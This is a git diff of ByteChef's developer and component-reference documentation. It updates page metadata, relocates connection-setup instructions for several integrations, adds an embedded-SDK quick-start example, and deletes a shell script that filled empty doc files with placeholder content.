--- a/docs/content/docs/developer-guide/component-specification/trigger.mdx
+++ b/docs/content/docs/developer-guide/component-specification/trigger.mdx
@@ -1,5 +1,6 @@
 ---
-title: "Trigger"
+description: "Learn trigger specifications in ByteChef. Learn how to implement this in your ByteChef workflows."
+title: Trigger
 ---
 
 The trigger definition is used to specify the properties of a trigger. Below is an explanation of each method that can be used in the trigger definition:
@@ -24,4 +25,4 @@ The trigger definition is used to specify the properties of a trigger. Below is
 - **HYBRID**: Combines features of both polling and webhook triggers. It can listen for events via webhooks and also poll for updates, providing flexibility in handling different event sources.
 - **LISTENER**: A trigger that continuously listens for specific events or messages from a source, such as a message queue or event stream, and activates when those events occur.
 - **POLLING**: Regularly checks a data source at specified intervals to detect changes or new data. This type is suitable for systems that do not support webhooks or real-time notifications.
-- **STATIC_WEBHOOK**: A trigger that listens for incoming HTTP requests at a fixed URL. This type is ideal for scenarios where the endpoint URL does not change and can be predefined.
+- **STATIC_WEBHOOK**: A trigger that listens for incoming HTTP requests at a fixed URL. This type is ideal for scenarios where the endpoint URL does not change and can be predefined.
\ No newline at end of file
diff --git a/docs/content/docs/developer-guide/generate-component/create-trigger.mdx b/docs/content/docs/developer-guide/generate-component/create-trigger.mdx
index b357af4a1bd..613bedfe3db 100644
--- a/docs/content/docs/developer-guide/generate-component/create-trigger.mdx
+++ b/docs/content/docs/developer-guide/generate-component/create-trigger.mdx
@@ -1,19 +1,18 @@
 ---
-title: "Create Trigger"
-description: "How to create a trigger for a component."
+description: "Generate custom triggers for ByteChef components. Learn how to implement this in your ByteChef workflows."
+title: Create Trigger
 ---
 
-## Create Trigger [toc]
-
-When creating a trigger for generated component, it must be added manually. Follow the [instructions in Build Component section](/developer-guide/build-component/create-trigger) to create `NewComponentDummyTrigger` class that defines the trigger.
-
-Once this class is created, update Component Handler as follows:
-In `NewComponentComponentHandler`, override the `getTriggers()` method:
+In `server/libs/modules/components/newcomponent/src/main/java/com/bytechef/component/newcomponent/trigger` package, the `NewComponentDummyTrigger` class defines the trigger. The `TRIGGER_DEFINITION` constant contains all the details about the trigger, including its name, title, description, properties and others.
 
 ```java
-
-@Override
-public List<ModifiableTriggerDefinition> getTriggers() {
-    return List.of(NewComponentDummyTrigger.TRIGGER_DEFINITION);
-}
+public static final ModifiableTriggerDefinition TRIGGER_DEFINITION = action("dummy")
+    .title("Dummy Trigger")
+    .description("Trigger description.")
+    .properties()
+    .output(
+        outputSchema(
+            string()));
 ```
+
+For more information about any method in the `TRIGGER_DEFINITION`, refer to the [trigger documentation](/reference/triggers).
\ No newline at end of file
diff --git a/docs/content/docs/developer-guide/generate-component/customize-component.mdx b/docs/content/docs/developer-guide/generate-component/customize-component.mdx
index 780ff989574..3f0ca85cd28 100644
--- a/docs/content/docs/developer-guide/generate-component/customize-component.mdx
+++ b/docs/content/docs/developer-guide/generate-component/customize-component.mdx
@@ -1,5 +1,6 @@
 ---
-title: "Customize Component"
+description: "Customize auto-generated ByteChef components. Learn how to implement this in your ByteChef workflows."
+title: Customize Component
 ---
 
 ### Connector Icon and Category
@@ -154,5 +155,4 @@ For implementation details, refer to examples from existing components such as [
     ```bash
    ./bytechef.sh component init --open-api-path ../../server/libs/modules/components/newcomponent/openapi.yaml --output-path ../../server/libs/modules/components --name newcomponent
     ``
-For implementation details, refer to examples from existing components such as [`Airtable`](https://github.com/bytechefhq/bytechef/blob/master/server/libs/modules/components/airtable).
-
+For implementation details, refer to examples from existing components such as [`Airtable`](https://github.com/bytechefhq/bytechef/blob/master/server/libs/modules/components/airtable).
\ No newline at end of file
diff --git a/docs/content/docs/developer-guide/generate-component/index.mdx b/docs/content/docs/developer-guide/generate-component/index.mdx
index acd0a034204..1e52b303c7a 100644
--- a/docs/content/docs/developer-guide/generate-component/index.mdx
+++ b/docs/content/docs/developer-guide/generate-component/index.mdx
@@ -1,9 +1,10 @@
 ---
-title: "Generate Component"
+description: "Auto-generate ByteChef components from OpenAPI specifications. Learn how to implement this in your ByteChef workflows."
+title: Generate Component
 ---
 
 ## Generate Component [toc]
 
 In the following steps, we will learn how to generate a new component using our application. This application is designed to assist you in generating components from OpenAPI specifications efficiently and accurately.
 
-OpenAPI, formerly known as Swagger, is a specification for building APIs that allows developers to define their API's structure in a standardized format. By using this application, you can streamline the process of creating components by automatically generating code based on your OpenAPI definitions.
+OpenAPI, formerly known as Swagger, is a specification for building APIs that allows developers to define their API's structure in a standardized format. By using this application, you can streamline the process of creating components by automatically generating code based on your OpenAPI definitions.
\ No newline at end of file
diff --git a/docs/content/docs/developer-guide/generate-component/initial-setup.mdx b/docs/content/docs/developer-guide/generate-component/initial-setup.mdx
index 169b0b27038..f29b4651759 100644
--- a/docs/content/docs/developer-guide/generate-component/initial-setup.mdx
+++ b/docs/content/docs/developer-guide/generate-component/initial-setup.mdx
@@ -1,5 +1,6 @@
 ---
-title: "Initial Setup"
+description: "Set up component generation in ByteChef. Learn how to implement this in your ByteChef workflows."
+title: Initial Setup
 ---
 
 ## Initial Setup [toc]
@@ -19,4 +20,4 @@ This section provides a clear step-by-step guide for setting up a new component
 
 3. Load Gradle Changes:
     - Refresh or reload the Gradle project in IntelliJ IDEA.
-    - This step ensures that IntelliJ recognizes your new component as a Java module, allowing you to work with it seamlessly within the IDE.
+    - This step ensures that IntelliJ recognizes your new component as a Java module, allowing you to work with it seamlessly within the IDE.
\ No newline at end of file
diff --git a/docs/content/docs/developer-guide/generate-component/open-api-specification.mdx b/docs/content/docs/developer-guide/generate-component/open-api-specification.mdx
index 4f970751d8c..966c1eb36df 100644
--- a/docs/content/docs/developer-guide/generate-component/open-api-specification.mdx
+++ b/docs/content/docs/developer-guide/generate-component/open-api-specification.mdx
@@ -1,5 +1,6 @@
 ---
-title: "OpenAPI Specification"
+description: "Use OpenAPI specifications for component generation. Learn how to implement this in your ByteChef workflows."
+title: OpenAPI Specification
 ---
 
 ## OpenAPI Specification [toc]
@@ -16,4 +17,4 @@ title: "OpenAPI Specification"
       ```bash
       ./bytechef.sh component init --open-api-path ../../server/libs/modules/components/newcomponent/openapi.yaml --output-path ../../server/libs/modules/components --name newcomponent
       ```
-    - This command initializes the component based on the OpenAPI specification, placing the generated files in the specified output path.
+    - This command initializes the component based on the OpenAPI specification, placing the generated files in the specified output path.
\ No newline at end of file
diff --git a/docs/content/docs/developer-guide/index.mdx b/docs/content/docs/developer-guide/index.mdx
deleted file mode 100644
index 6d88252ea8a..00000000000
--- a/docs/content/docs/developer-guide/index.mdx
+++ /dev/null
@@ -1,4 +0,0 @@
----
-title: Developer Guide
-description: This guide provides comprehensive information on building components and enabling observability features.
----
diff --git a/docs/content/docs/developer-guide/working-with-triggers.mdx b/docs/content/docs/developer-guide/working-with-triggers.mdx
index cfdd3ed5e6b..766704900b7 100644
--- a/docs/content/docs/developer-guide/working-with-triggers.mdx
+++ b/docs/content/docs/developer-guide/working-with-triggers.mdx
@@ -1,6 +1,6 @@
 ---
-title: "Working with Triggers"
-description: "Working with Triggers as a developer"
+description: "Learn how to create and use triggers in ByteChef. Learn how to implement this in your ByteChef workflows."
+title: Working with Triggers
 ---
 
 ## Download and Set Up ngrok
@@ -45,4 +45,4 @@ description: "Working with Triggers as a developer"
     ```
 3. Start the ByteChef application.
 
-**Note:** Docker has to be restarted in order to update any changes made to `BYTECHEF_HOME/server/local.env` file.
+**Note:** Docker has to be restarted in order to update any changes made to `BYTECHEF_HOME/server/local.env` file.
\ No newline at end of file
diff --git a/docs/content/docs/embedded/index.mdx b/docs/content/docs/embedded/index.mdx
index 7a900809ce7..06d87d00648 100644
--- a/docs/content/docs/embedded/index.mdx
+++ b/docs/content/docs/embedded/index.mdx
@@ -1,6 +1,6 @@
 ---
-title: Introduction
+description: "Embed ByteChef in your application. Integrate automation into your product. Learn how to implement this in your ByteChef workflows."
+title: Overview
 ---
 
-This is currently in development. For more information please contact [support@bytechef.io](mailto:support@bytechef.io).
-
+This is currently in development. For more information please contact [support@bytechef.io](mailto:support@bytechef.io).
\ No newline at end of file
diff --git a/docs/content/docs/embedded/quickstart.mdx b/docs/content/docs/embedded/quickstart.mdx
index 5df59a8aa6f..fa7d32d393b 100644
--- a/docs/content/docs/embedded/quickstart.mdx
+++ b/docs/content/docs/embedded/quickstart.mdx
@@ -1,5 +1,34 @@
 ---
+description: "Quick start guide for embedding ByteChef in your applications. Learn how to integrate ByteChef workflows into your existing systems."
 title: Quick Start
 ---
 
-This is currently in development. For more information please contact [support@bytechef.io](mailto:support@bytechef.io).
\ No newline at end of file
+ByteChef Embedded allows you to integrate workflow automation directly into your applications, giving your users access to powerful automation capabilities without leaving your platform.
+
+## Getting Started
+
+1. **Set up your ByteChef account**: Create an account and configure your workspace
+2. **Generate API keys**: Create secure API credentials for your application
+3. **Install the SDK**: Add ByteChef to your project using npm or yarn
+4. **Create workflows**: Build automation workflows that your users can access
+5. **Integrate**: Embed workflow interfaces into your application
+
+## Example Integration
+
+```javascript
+import { ByteChefClient } from '@bytechef/embedded';
+
+const client = new ByteChefClient({
+  apiKey: 'your-api-key',
+  workspace: 'your-workspace'
+});
+
+// Embed a workflow in your app
+client.embedWorkflow('workflow-id', '#workflow-container');
+```
+
+## Next Steps
+
+- [View API Documentation](/embedded/api-reference)
+- [Explore Examples](/embedded/examples)
+- [Configure Authentication](/embedded/authentication)
diff --git a/docs/content/docs/openapi/index.mdx b/docs/content/docs/openapi/index.mdx
index f75c80767c2..633423a47f7 100644
--- a/docs/content/docs/openapi/index.mdx
+++ b/docs/content/docs/openapi/index.mdx
@@ -1,6 +1,6 @@
 ---
-title: Overview
+description: "ByteChef OpenAPI documentation. Build integrations using REST API. Learn how to implement this in your ByteChef workflows."
+title: OpenAPI
 ---
 
-This is currently in development. For more information please contact [support@bytechef.io](mailto:support@bytechef.io).
-
+This is currently in development. For more information please contact [support@bytechef.io](mailto:support@bytechef.io).
\ No newline at end of file
diff --git a/docs/content/docs/platform/overview.mdx b/docs/content/docs/platform/overview.mdx
index b9fe9763dcb..1da392d3dc7 100644
--- a/docs/content/docs/platform/overview.mdx
+++ b/docs/content/docs/platform/overview.mdx
@@ -1,49 +1,18 @@
 ---
-title: "Overview"
-description: "ByteChef is an open-source, enterprise-ready platform for API integration and workflow automation."
+description: "ByteChef Platform Overview. Learn about the core features and capabilities of the ByteChef automation platform."
+title: Overview
 ---
 
-# Platform Overview
+ByteChef is a comprehensive automation platform that enables you to build, deploy, and manage workflows across your entire technology stack.
 
-ByteChef is an open-source, enterprise-ready platform for API integration and workflow automation designed to help teams streamline and automate routine processes across independent business applications.
+## Key Features
 
-## What is ByteChef?
+- **Visual Workflow Builder**: Create complex automations without writing code
+- **500+ Integrations**: Connect to popular SaaS applications and services
+- **AI-Powered**: Leverage artificial intelligence to enhance your workflows
+- **Enterprise Ready**: Scale with confidence using our robust infrastructure
+- **Flexible Deployment**: Choose cloud-hosted or self-hosted deployment options
 
-ByteChef enables teams to streamline and automate routine processes that span across independent business applications. With a visual, workflow-based approach, ByteChef makes it easy to define, manage, and scale automation—even for complex integrations.
+## Getting Started
 
-Built with flexibility in mind, ByteChef supports the creation of AI-powered agents and intelligent workflows, allowing organizations to automate decision-making, trigger contextual actions, and build dynamic systems that adapt to real-world business needs.
-
-Whether you're a developer creating custom connectors or a business user configuring workflows through the drag-and-drop editor, ByteChef provides the tools to automate and integrate efficiently—on-premise or in the cloud.
-
-## Architecture Overview
-
-ByteChef is designed with modularity, scalability, and extensibility in mind, making it suitable for both small teams and enterprise-scale deployments. Its architecture is composed of several key components:
-
-### Workflow Engine
-At the core of ByteChef is the workflow engine, responsible for executing automation logic. Workflows are defined as sequences of steps using flow control constructs such as if, loop, parallel, and switch, and can include custom logic and external service calls.
-
-### Visual Workflow Builder
-The drag-and-drop UI builder enables users to visually design workflows by combining connectors and logic blocks. This empowers non-technical users (citizen developers) to create and modify workflows easily.
-
-### AI Agent Integration
-ByteChef supports the creation of AI-driven agents that can interact with workflows, perform contextual reasoning, and automate intelligent responses. These agents can be embedded directly into workflows or triggered by external events, enabling dynamic decision-making and adaptive behavior.
-
-### Connector Framework
-ByteChef integrates with external systems using connectors. It includes built-in connectors for popular services and allows developers to build custom connectors in Java, JavaScript, Python, or Ruby.
-
-### Custom Functions
-ByteChef allows you to leverage low-code capabilities by writing custom functions in Java, JavaScript, Python, or Ruby. These functions can be embedded within workflows to perform dynamic, logic-driven operations during execution.
-
-### Deployment Options
-ByteChef supports flexible deployment models:
-
-- **On-Premise**: For organizations requiring full control over infrastructure and data.
-- **Hosted (Cloud)**: For fast, scalable, and maintenance-free deployments.
-
-### Monitoring and Logging
-Built-in observability tools provide visibility into workflow execution, logs, and errors, allowing teams to monitor performance, diagnose issues, and optimize automation flows.
-
-## How ByteChef Can Help
-
-- **Automation Solution**: Integrate applications used internally to automate business processes.
-- **Embedded Solution**: Enable customers to integrate applications they use with your product.
+Ready to build your first automation? Start with our [Quick Start guide](/getting-started/quickstart) to see what's possible in just minutes.
diff --git a/docs/content/docs/populate_blank_files.sh b/docs/content/docs/populate_blank_files.sh
deleted file mode 100644
index ef0817b6606..00000000000
--- a/docs/content/docs/populate_blank_files.sh
+++ /dev/null
@@ -1,109 +0,0 @@
-#!/bin/bash
-
-echo "🔍 Populating only BLANK files (will not overwrite existing content)..."
-
-# Helper function to safely create file with frontmatter only if it's blank
-safe_create() {
-  local file="$1"
-  local title="$2"
-  local description="$3"
-  
-  if [ ! -s "$file" ]; then  # -s checks if file is empty
-    cat > "$file" << CONTENT
----
-title: $title
-description: $description
----
-
-# $title
-
-Coming soon...
-CONTENT
-    echo "✓ Created: $file"
-  else
-    echo "⊘ Skipped (has content): $file"
-  fi
-}
-
-# Automation - Build
-safe_create "automation/build/overview.md" "Build Overview" "Design and create workflows"
-safe_create "automation/build/reference.md" "Build Reference" "Technical reference for building workflows"
-
-# Automation - Deploy
-safe_create "automation/deploy/overview.md" "Deploy Overview" "Deploy workflows to production"
-safe_create "automation/deploy/how-to-guides.md" "Deploy How-To Guides" "Deployment guides"
-safe_create "automation/deploy/reference.md" "Deploy Reference" "Deployment reference"
-
-# Automation - Monitor
-safe_create "automation/monitor/overview.md" "Monitor Overview" "Monitor and debug workflow executions"
-safe_create "automation/monitor/how-to-guides.md" "Monitor How-To Guides" "Monitoring guides"
-safe_create "automation/monitor/reference.md" "Monitor Reference" "Monitoring reference"
-
-# Automation - Other
-safe_create "automation/connect-data.md" "Connect Data" "Connect to third-party applications"
-safe_create "automation/getting-started.md" "Getting Started" "Start with automation"
-safe_create "automation/git-type.md" "Git Integration" "Configure ByteChef to read/write workflows from/to Git"
-
-# Getting Started
-safe_create "getting-started/welcome.md" "Welcome" "Welcome to ByteChef documentation"
-safe_create "getting-started/introduction.md" "Introduction" "What is ByteChef and core concepts"
-safe_create "getting-started/glossary.md" "Glossary" "Key concepts and terminology"
-safe_create "getting-started/quick-start.md" "Quick Start" "Get up and running in minutes"
-
-# Developer Guide
-safe_create "developer-guide/index.md" "Developer Guide" "Build components and extend ByteChef"
-safe_create "developer-guide/overview.md" "Developer Guide Overview" "Build components and extend ByteChef"
-safe_create "developer-guide/development-environment.md" "Development Environment" "Set up your development environment"
-
-# Developer Guide - Build Components
-safe_create "developer-guide/build-components/overview.md" "Build Components Overview" "Learn to build custom components"
-safe_create "developer-guide/build-components/create-component-definition.md" "Create Component Definition" "Create a component definition"
-safe_create "developer-guide/build-components/create-action.md" "Create Action" "Create an action"
-safe_create "developer-guide/build-components/create-trigger.md" "Create Trigger" "Create a trigger"
-safe_create "developer-guide/build-components/publish.md" "Publish Component" "Publish your component"
-
-# Developer Guide - Testing
-safe_create "developer-guide/testing/overview.md" "Testing Overview" "Testing components"
-safe_create "developer-guide/testing/component-specification.md" "Component Specification" "Component specification"
-safe_create "developer-guide/testing/test-execution.md" "Test Execution" "Execute component tests"
-safe_create "developer-guide/testing/contribute.md" "Contribute" "Contribute to ByteChef"
-
-# Developer Guide - API
-safe_create "developer-guide/api/reference.md" "API Reference" "ByteChef API reference"
-safe_create "developer-guide/api/expressions.md" "Expressions" "Expression language reference"
-
-# Embedded
-safe_create "embedded/introduction.md" "Embedding ByteChef" "Embed ByteChef in your applications"
-safe_create "embedded/glossary.md" "Embedded Glossary" "Embedded mode glossary"
-safe_create "embedded/quick-example.md" "Quick Example" "Quick example of embedded ByteChef"
-
-# Platform
-safe_create "platform/notificationns/overview.md" "Notifications Overview" "Platform notifications overview"
-safe_create "platform/notificationns/configuration.md" "Notifications Configuration" "Configure notifications"
-
-# Reference
-safe_create "reference/components.md" "Components" "Component reference"
-safe_create "reference/api-specification.md" "API Specification" "API specification"
-safe_create "reference/flow-controls/index.mdx" "Flow Controls" "Flow control reference"
-
-# Self-Hosting
-safe_create "self-hosting/index.md" "Self-Hosting" "Deploy ByteChef on your own infrastructure"
-safe_create "self-hosting/architecture.md" "Architecture" "ByteChef architecture overview"
-
-# Self-Hosting - Deployment
-safe_create "self-hosting/deployment/local-docker.md" "Local Docker" "Run ByteChef locally with Docker"
-safe_create "self-hosting/deployment/docker.md" "Docker" "Deploy ByteChef with Docker"
-safe_create "self-hosting/deployment/kubernetes.md" "Kubernetes" "Deploy ByteChef on Kubernetes"
-safe_create "self-hosting/deployment/aws-ecs.md" "AWS ECS" "Deploy ByteChef on AWS ECS"
-safe_create "self-hosting/deployment/azure-container-instance.md" "Azure Container Instance" "Deploy ByteChef on Azure Container Instance"
-safe_create "self-hosting/deployment/google-cloud-run.md" "Google Cloud Run" "Deploy ByteChef on Google Cloud Run"
-safe_create "self-hosting/deployment/digitalocean.md" "DigitalOcean" "Deploy ByteChef on DigitalOcean"
-
-# Self-Hosting - Configuration
-safe_create "self-hosting/configuration/configure-instance.md" "Configure Instance" "Configure your ByteChef instance"
-safe_create "self-hosting/configuration/environment-variables.md" "Environment Variables" "ByteChef environment configuration"
-safe_create "self-hosting/configuration/manage-instance.md" "Manage Instance" "Manage your ByteChef instance"
-
-echo ""
-echo "✅ Done! Only blank files were populated."
-echo "📝 Files with existing content were left untouched."
diff --git a/docs/content/docs/reference/components/accelo_v1.mdx b/docs/content/docs/reference/components/accelo_v1.mdx
index 078e6a3fffb..c53e2f20e37 100644
--- a/docs/content/docs/reference/components/accelo_v1.mdx
+++ b/docs/content/docs/reference/components/accelo_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Accelo"
-description: "Accelo is a cloud-based platform designed to streamline operations for service businesses by integrating project management, CRM, and billing functionalities into one unified system."
+description: "Accelo integration for ByteChef. Connect and automate with this service in your workflows. Learn how to implement this in your ByteChef automation."
+title: Accelo
 ---
 
-
 Categories: CRM, Project Management
 
 
@@ -31,26 +30,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-Follow these steps to connect Accelo to ByteChef using OAuth 2.0 (Authorization Code):
-
-1. Determine your Accelo deployment (subdomain)
-   - Your deployment is the subdomain you use to access Accelo.
-   - Example: if you sign in at `https://acme.api.accelo.com`, your deployment is `acme`.
-
-2. Register an app in Accelo
-   - In Accelo, go to: Configuration → API → Register Application.
-   - Choose the application type: Web Application (required for OAuth2 Authorization Code).
-   - Give it a name (e.g., **ByteChef Accelo Integration**).
-
-3. Configure the redirect (callback) URL
-   - Add the ByteChef OAuth callback URL to your app:
-     - `https://app.bytechef.io/callback` (Cloud)
-     - `http://127.0.0.1:5173/callback` (Local development)
-
-4. Copy the generated Client ID and Client Secret from your Accelo app.
-
 
 
 <hr />
@@ -121,8 +100,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Contact
 Name: createContact
 
@@ -189,8 +166,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Task
 Name: createTask
 
@@ -255,11 +230,32 @@ Type: OBJECT
 
 
 
-
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+Follow these steps to connect Accelo to ByteChef using OAuth 2.0 (Authorization Code):
+
+1. Determine your Accelo deployment (subdomain)
+   - Your deployment is the subdomain you use to access Accelo.
+   - Example: if you sign in at `https://acme.api.accelo.com`, your deployment is `acme`.
+
+2. Register an app in Accelo
+   - In Accelo, go to: Configuration → API → Register Application.
+   - Choose the application type: Web Application (required for OAuth2 Authorization Code).
+   - Give it a name (e.g., **ByteChef Accelo Integration**).
+
+3. Configure the redirect (callback) URL
+   - Add the ByteChef OAuth callback URL to your app:
+     - `https://app.bytechef.io/callback` (Cloud)
+     - `http://127.0.0.1:5173/callback` (Local development)
+
+4. Copy the generated Client ID and Client Secret from your Accelo app.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/active-campaign_v1.mdx b/docs/content/docs/reference/components/active-campaign_v1.mdx
index feedbc4fac0..cb9bf1f2fc6 100644
--- a/docs/content/docs/reference/components/active-campaign_v1.mdx
+++ b/docs/content/docs/reference/components/active-campaign_v1.mdx
@@ -31,20 +31,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Find API Key
-
-1. Navigate to your [ActiveCampaign](https://www.activecampaign.com/) dashboard.
-2. Click on **Setting**.
-3. Click on **Developer**.
-4. Here you can see your **API Access Key** and your **API Access URL** from which you can read out your account name.
-5. Done 🚀.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/4f5e4c93-f9e9-43d3-84ff-46a1ec62f7a7?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
 
 
 <hr />
@@ -107,8 +93,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Contact
 Name: createContact
 
@@ -167,8 +151,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Task
 Name: createTask
 
@@ -229,11 +211,26 @@ Type: OBJECT
 
 
 
-
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+### Find API Key
+
+1. Navigate to your [ActiveCampaign](https://www.activecampaign.com/) dashboard.
+2. Click on **Setting**.
+3. Click on **Developer**.
+4. Here you can see your **API Access Key** and your **API Access URL** from which you can read out your account name.
+5. Done 🚀.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/4f5e4c93-f9e9-43d3-84ff-46a1ec62f7a7?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
diff --git a/docs/content/docs/reference/components/acumbamail_v1.mdx b/docs/content/docs/reference/components/acumbamail_v1.mdx
index d9ab5912bbd..270f933a4ed 100644
--- a/docs/content/docs/reference/components/acumbamail_v1.mdx
+++ b/docs/content/docs/reference/components/acumbamail_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Acumbamail"
-description: "Acumbamail is an email marketing and automation platform that allows users to create, manage, and analyze email campaigns, newsletters, and SMS marketing with an intuitive interface and API integration."
+description: "Acumbamail integration for ByteChef. Connect and automate with this service in your workflows. Learn how to implement this in your ByteChef automation."
+title: Acumbamail
 ---
 
-
 Categories: Marketing Automation
 
 
@@ -29,16 +28,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-1. Go to https://acumbamail.com/apidoc/.
-2. Log in to your account.
-3. Copy the auth token. Use these credentials to create a connection in ByteChef.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-<iframe src="https://www.guidejar.com/embed/mVotYQrVYC6y0NA3uTZf?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -83,8 +72,6 @@ Type: INTEGER
 
 
 
-
-
 ### Delete Subscriber
 Name: deleteSubscriber
 
@@ -117,8 +104,6 @@ This action does not produce any output.
 
 
 
-
-
 ### Create Subscriber List
 Name: createSubscriberList
 
@@ -167,8 +152,6 @@ Type: INTEGER
 
 
 
-
-
 ### Delete Subscriber List
 Name: deleteSubscriberList
 
@@ -201,11 +184,22 @@ This action does not produce any output.
 
 
 
-
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+1. Go to https://acumbamail.com/apidoc/.
+2. Log in to your account.
+3. Copy the auth token. Use these credentials to create a connection in ByteChef.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+<iframe src="https://www.guidejar.com/embed/mVotYQrVYC6y0NA3uTZf?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/affinity_v1.mdx b/docs/content/docs/reference/components/affinity_v1.mdx
index 0acccebf99f..95603f1902c 100644
--- a/docs/content/docs/reference/components/affinity_v1.mdx
+++ b/docs/content/docs/reference/components/affinity_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Affinity"
-description: "Affinity is a customer relationship management (CRM) platform that leverages relationship intelligence to help businesses strengthen connections and drive engagement with client and prospects."
+description: "Affinity integration for ByteChef. Connect and automate with this service in your workflows. Learn how to implement this in your ByteChef automation."
+title: Affinity
 ---
 
-
 Categories: CRM
 
 
@@ -31,7 +30,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -87,8 +85,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Organization
 Name: createOrganization
 
@@ -142,8 +138,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Person
 Name: createPerson
 
@@ -203,11 +197,8 @@ Type: OBJECT
 
 
 
-
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
-To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
-
+To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/agile-crm_v1.mdx b/docs/content/docs/reference/components/agile-crm_v1.mdx
index a6a538aaa68..0a24253e24b 100644
--- a/docs/content/docs/reference/components/agile-crm_v1.mdx
+++ b/docs/content/docs/reference/components/agile-crm_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Agile CRM"
-description: "All-in-One CRM. Automate your sales, marketing, and service in one platform. Avoid data leaks and enable consistent messaging."
+description: "Agile Crm integration for ByteChef. Connect and automate with this service in your workflows. Learn how to implement this in your ByteChef automation."
+title: Agile CRM
 ---
 
-
 Categories: CRM
 
 
@@ -31,20 +30,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Find REST API Key
-
-1. Navigate to your dashboard.
-2. Click on your profile image.
-3. Click on **Admin Settings**.
-4. Click on **Developers & API**.
-5. Click on REST API.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/5a82d645-7647-462e-a2a2-0723cc61fff3?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
 
 
 <hr />
@@ -211,8 +196,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Deal
 Name: crateDeal
 
@@ -348,8 +331,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Task
 Name: createTask
 
@@ -451,8 +432,6 @@ Type: OBJECT
 
 
 
-
-
 ## Triggers
 
 
@@ -508,4 +487,20 @@ Type: OBJECT
 
 
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+### Find REST API Key
+
+1. Navigate to your dashboard.
+2. Click on your profile image.
+3. Click on **Admin Settings**.
+4. Click on **Developers & API**.
+5. Click on REST API.
 
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/5a82d645-7647-462e-a2a2-0723cc61fff3?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
\ No newline at end of file
